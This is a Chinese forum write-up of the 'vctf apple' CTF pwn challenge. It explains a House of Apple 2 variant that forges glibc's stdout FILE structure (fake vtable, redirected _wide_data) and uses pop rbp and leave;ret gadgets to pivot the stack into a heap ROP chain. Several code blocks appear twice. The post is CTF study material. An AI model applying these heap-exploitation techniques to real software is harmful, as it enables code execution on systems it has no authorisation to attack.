-
-
vctf apple 复现(apple的通用模板)
-
发表于: 2024-5-16 11:02 10642
-
本文参考的是Arahat0 师傅的脚本 这里主要介绍一下vctf apple的house of apple部分的思路 与常规的house of apple不同这里将_wide_data
指向劫持的FILE
结构体加减偏移 来让脚本更加可以移植 最后实现栈迁移打ROP链的操作
前情提要:要结合上一篇文章:[原创]vctf apples leak libc操作复现(高版本libc overlapping)-Pwn-看雪-安全社区|安全招聘|kanxue.com来观看 在上一篇文章中我们通过较为复杂的overlapping实现了heap和libc的泄露 接下来我们通过劫持结构体来实现一次House of apple2的变形
建议和上面的偏移结合起来看 还是比较详细的
先这里给出exp中伪造的stdout
结构体 方便我们后面分析
目的:通过puts函数触发_IO_wfile_overflow
函数来调用_IO_wdoallocbuf
函数
为了搞清楚劫持原理 这里我们分析puts函数的源码
puts中调用_IO_file_xsputn
(stdout->vatble(0xd8)->_IO_file_xsputn(0x38))
r14
此时为 也就是_IO_file_jumps+0x38的位置
而r14
是通过mov r14, [rdi+0D8h]
取出来的 rdi为_IO_2_1_stdout_
根据0xd8
偏移可以知道是vatble
属性
然后调用_IO_file_overflow
然后走向_IO_do_write
所以要调用_IO_wfile_overflow
则需要vatble+0x38位置为_IO_wfile_jumps
+24 所以这里控制vtable为_IO_wfile_jumps
-0x20
我们最终是想要调用_IO_wdoallocbuf
函数
所以我们需要满足条件:
f->_flags & _IO_NO_WRITES为0
(f->_flags & _IO_CURRENTLY_PUTTING) == 0
f->_wide_data(0xa0)->_IO_write_base(0x20) == 0
这里我们要执行_IO_WDOALLOCATE
从而调用我们伪造的函数 所以我们这里需要过掉保护fp->_wide_data->_IO_buf_base
和!(fp->_flags & _IO_UNBUFFERED)
也就是_wide_data
(0xa0)的_IO_buf_base
(0x38)偏移位置要为0
这里等效为: *(fp->_wide_data(0xa0)->_wide_vtable(0xe0) + 0x68)(fp)
我们先看汇编代码
可以看见这里把rdi
赋值给了rbx
而根据前面代码可以知道rdi是_io_wdoallocbuf
的参数 也就是fp也就是_IO_2_1_stdout_
那么回顾我们前面的payload
然后我们pop_rbp
让rbp
变成我们存放payload的chunk内容然后再通过leave ret让rsp也移动到我们的chunk上 实现栈迁移 然后我们就可以愉快打rop链了
0x0:
'_flags'
,
0x8:
'_IO_read_ptr'
,
0x10:
'_IO_read_end'
,
0x18:
'_IO_read_base'
,
0x20:
'_IO_write_base'
,
0x28:
'_IO_write_ptr'
,
0x30:
'_IO_write_end'
,
0x38:
'_IO_buf_base'
,
0x40:
'_IO_buf_end'
,
0x48:
'_IO_save_base'
,
0x50:
'_IO_backup_base'
,
0x58:
'_IO_save_end'
,
0x60:
'_markers'
,
0x68:
'_chain'
,
0x70:
'_fileno'
,
0x74:
'_flags2'
,
0x78:
'_old_offset'
,
0x80:
'_cur_column'
,
0x82:
'_vtable_offset'
,
0x83:
'_shortbuf'
,
0x88:
'_lock'
,
// 以上是一个_IO_FILE结构体包含的内容
0x90:
'_offset'
,
0x98:
'_codecvt'
,
0xa0:
'_wide_data'
,
0xa8:
'_freeres_list'
,
0xb0:
'_freeres_buf'
,
0xb8:
'__pad5'
,
0xc0:
'_mode'
,
0xc4:
'_unused2'
,
// 以上是 _IO_FILE_complete结构体包含的内容
0xd8:
'vtable'
,
// 以上是 _IO_FILE_plus结构体部分
0xe0:
'_wide_vtable'
// _wide_vtable是_IO_wide_data的最后一个属性
0x0:
'_flags'
,
0x8:
'_IO_read_ptr'
,
0x10:
'_IO_read_end'
,
0x18:
'_IO_read_base'
,
0x20:
'_IO_write_base'
,
0x28:
'_IO_write_ptr'
,
0x30:
'_IO_write_end'
,
0x38:
'_IO_buf_base'
,
0x40:
'_IO_buf_end'
,
0x48:
'_IO_save_base'
,
0x50:
'_IO_backup_base'
,
0x58:
'_IO_save_end'
,
0x60:
'_markers'
,
0x68:
'_chain'
,
0x70:
'_fileno'
,
0x74:
'_flags2'
,
0x78:
'_old_offset'
,
0x80:
'_cur_column'
,
0x82:
'_vtable_offset'
,
0x83:
'_shortbuf'
,
0x88:
'_lock'
,
// 以上是一个_IO_FILE结构体包含的内容
0x90:
'_offset'
,
0x98:
'_codecvt'
,
0xa0:
'_wide_data'
,
0xa8:
'_freeres_list'
,
0xb0:
'_freeres_buf'
,
0xb8:
'__pad5'
,
0xc0:
'_mode'
,
0xc4:
'_unused2'
,
// 以上是 _IO_FILE_complete结构体包含的内容
0xd8:
'vtable'
,
// 以上是 _IO_FILE_plus结构体部分
0xe0:
'_wide_vtable'
// _wide_vtable是_IO_wide_data的最后一个属性
struct
_IO_FILE
{
int
_flags;
/* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char
*_IO_read_ptr;
/* Current read pointer */
char
*_IO_read_end;
/* End of get area. */
char
*_IO_read_base;
/* Start of putback+get area. */
char
*_IO_write_base;
/* Start of put area. */
char
*_IO_write_ptr;
/* Current put pointer. */
char
*_IO_write_end;
/* End of put area. */
char
*_IO_buf_base;
/* Start of reserve area. */
char
*_IO_buf_end;
/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char
*_IO_save_base;
/* Pointer to start of non-current get area. */
char
*_IO_backup_base;
/* Pointer to first valid character of backup area */
char
*_IO_save_end;
/* Pointer to end of non-current get area. */
struct
_IO_marker *_markers;
struct
_IO_FILE *_chain;
int
_fileno;
int
_flags2;
__off_t _old_offset;
/* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned
short
_cur_column;
signed
char
_vtable_offset;
char
_shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct
_IO_FILE_plus
{
FILE
file;
const
struct
_IO_jump_t *vtable;
};
struct
_IO_FILE_complete
{
struct
_IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct
_IO_codecvt *_codecvt;
struct
_IO_wide_data *_wide_data;
struct
_IO_FILE *_freeres_list;
void
*_freeres_buf;
size_t
__pad5;
int
_mode;
/* Make sure we don't get into trouble again. */
char
_unused2[15 *
sizeof
(
int
) - 4 *
sizeof
(
void
*) -
sizeof
(
size_t
)];
};
struct
_IO_FILE_complete_plus
{
struct
_IO_FILE_complete file;
const
struct
_IO_jump_t *vtable;
};
struct
_IO_FILE
{
int
_flags;
/* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char
*_IO_read_ptr;
/* Current read pointer */
char
*_IO_read_end;
/* End of get area. */
char
*_IO_read_base;
/* Start of putback+get area. */
char
*_IO_write_base;
/* Start of put area. */
char
*_IO_write_ptr;
/* Current put pointer. */
char
*_IO_write_end;
/* End of put area. */
char
*_IO_buf_base;
/* Start of reserve area. */
char
*_IO_buf_end;
/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char
*_IO_save_base;
/* Pointer to start of non-current get area. */
char
*_IO_backup_base;
/* Pointer to first valid character of backup area */
char
*_IO_save_end;
/* Pointer to end of non-current get area. */
struct
_IO_marker *_markers;
struct
_IO_FILE *_chain;
int
_fileno;
int
_flags2;
__off_t _old_offset;
/* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned
short
_cur_column;
signed
char
_vtable_offset;
char
_shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct
_IO_FILE_plus
{
FILE
file;
const
struct
_IO_jump_t *vtable;
};
struct
_IO_FILE_complete
{
struct
_IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct
_IO_codecvt *_codecvt;
struct
_IO_wide_data *_wide_data;
struct
_IO_FILE *_freeres_list;
void
*_freeres_buf;
size_t
__pad5;
int
_mode;
/* Make sure we don't get into trouble again. */
char
_unused2[15 *
sizeof
(
int
) - 4 *
sizeof
(
void
*) -
sizeof
(
size_t
)];
};
struct
_IO_FILE_complete_plus
{
struct
_IO_FILE_complete file;
const
struct
_IO_jump_t *vtable;
};
FILE
=
IO_FILE_plus_struct()
FILE
.flags
=
0
FILE
._IO_read_ptr
=
pop_rbp
FILE
._IO_read_end
=
heap_addr
+
0x470
-
8
FILE
._IO_read_base
=
leave_ret
FILE
._IO_write_base
=
0
FILE
._IO_write_ptr
=
1
FILE
._lock
=
heap_addr
-
0xc30
FILE
.chain
=
leave_ret
FILE
._codecvt
=
stdout_addr
FILE
._wide_data
=
stdout_addr
-
0x48
FILE
.vtable
=
libc.sym[
'_IO_wfile_jumps'
]
+
libc_base
-
0x20
FILE
=
IO_FILE_plus_struct()
FILE
.flags
=
0
FILE
._IO_read_ptr
=
pop_rbp
FILE
._IO_read_end
=
heap_addr
+
0x470
-
8
FILE
._IO_read_base
=
leave_ret
FILE
._IO_write_base
=
0
FILE
._IO_write_ptr
=
1
FILE
._lock
=
heap_addr
-
0xc30
FILE
.chain
=
leave_ret
FILE
._codecvt
=
stdout_addr
FILE
._wide_data
=
stdout_addr
-
0x48
FILE
.vtable
=
libc.sym[
'_IO_wfile_jumps'
]
+
libc_base
-
0x20
struct
_IO_jump_t
{
JUMP_FIELD(
size_t
, __dummy);
JUMP_FIELD(
size_t
, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
struct
_IO_jump_t
{
JUMP_FIELD(
size_t
, __dummy);
JUMP_FIELD(
size_t
, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!